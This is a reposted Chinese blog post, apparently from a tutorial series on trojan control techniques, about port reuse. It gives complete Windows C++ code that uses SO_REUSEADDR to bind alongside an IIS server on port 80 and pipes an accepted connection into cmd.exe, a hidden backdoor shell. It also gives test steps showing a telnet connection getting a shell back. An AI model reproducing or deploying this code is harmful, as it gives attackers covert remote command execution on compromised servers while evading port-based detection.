zoukankan      html  css  js  c++  java
  • 木马控制技术(二) -- 端口复用

     本文转自:http://www.cnblogs.com/handt/archive/2012/08/10/2631728.html

     端口复用,字面意思就是,重复使用一个端口

    记得有一次同学的 sina 微博总是自动发消息,当时让他查看本地端口,再通过端口找到对应程序

    学了端口复用和线程注入之后,发现这种方法对“高级点”的木马完全没用……

    还是需要一些强大的 HIP 工具来检查

    回到正题

    端口复用,使用到了一个重要的函数:

    复制代码
    int setsockopt(
      __in  SOCKET s,
      __in  int level,
      __in  int optname,
      __in  const char *optval,
      __in  int optlen
    );
    复制代码

    其中第三个参数使用BOOL型值 SO_REUSEADDR,作用介绍:

     Allows the socket to be bound to an address that is already in use. For more information, see bind. Not applicable on ATM sockets.

    通过对 socket 使用该设置,达到重用已绑定端口的目的。

    另外,第一个参数的socket必须通过WSASocket建立才能被替换端口,socket()建立的就只能用管道来通信了。

    完整代码如下:

    复制代码
    #pragma comment(lib,"ws2_32.lib")
    #pragma comment(lib,"user32.lib")
    #pragma comment(lib,"advapi32.lib")
    #include <iostream>
    #include <WINSOCK2.H>
    
    int main()
    {
        WSAData wsaData;
        SOCKET listenSock;
        // 1st:  initial wsadata and socket
        WSAStartup(MAKEWORD(2,2),&wsaData);
        listenSock = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
    
        // 2nd: setsockopt
        BOOL val = TRUE;
        setsockopt(listenSock,SOL_SOCKET,SO_REUSEADDR,(char*)&val,sizeof(val));
        
        // 3rd: bind -> listen
        sockaddr_in sockaaddr;
        sockaaddr.sin_addr.s_addr = inet_addr("192.168.199.128");
        sockaaddr.sin_family = AF_INET;
        sockaaddr.sin_port   = htons(80);
    
        int ret;
        ret = bind(listenSock,(struct sockaddr*)&sockaaddr,sizeof(sockaddr));
        ret = listen(listenSock,2);
    
        // 4th: accept
        int len = sizeof(sockaaddr);
        SOCKET recvSock;
        recvSock = accept(listenSock,(struct sockaddr*)&sockaaddr,&len);
        
        // 5th: create new process to invoke cmd
        STARTUPINFO si;
        ZeroMemory(&si,sizeof(si));
        si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
        si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock;
    
        char cmdLine[] = "cmd";
        PROCESS_INFORMATION pi;
        ret = CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&pi);
    
        return 0;
    }
    复制代码

    试验过程:

    在虚拟机中建立 iis 服务器,占用80端口

    启动木马程序,看到另一个80端口对外的连接:

    在宿主机中

    telnet 虚拟机ip 80

    会反弹回 shell

  • 相关阅读:
    GPS坐标转化距离(短距离模型公式)
    jquery ajax 同步异步的执行
    视频播放的基本原理
    [css或js控制图片自适应]
    asp.net中js和jquery调用ashx的不同方法分享,需要的朋友可以参考一下
    [转载]在网页中插入media,RealPlayer等控件
    数组的几种排序算法的实现(3)
    -- HTML标记大全参考手册[推荐]
    数组的几种排序算法的实现(2)
    数组的几种排序算法的实现(1)
  • 原文地址:https://www.cnblogs.com/dongchi/p/4470822.html
Copyright © 2011-2022 走看看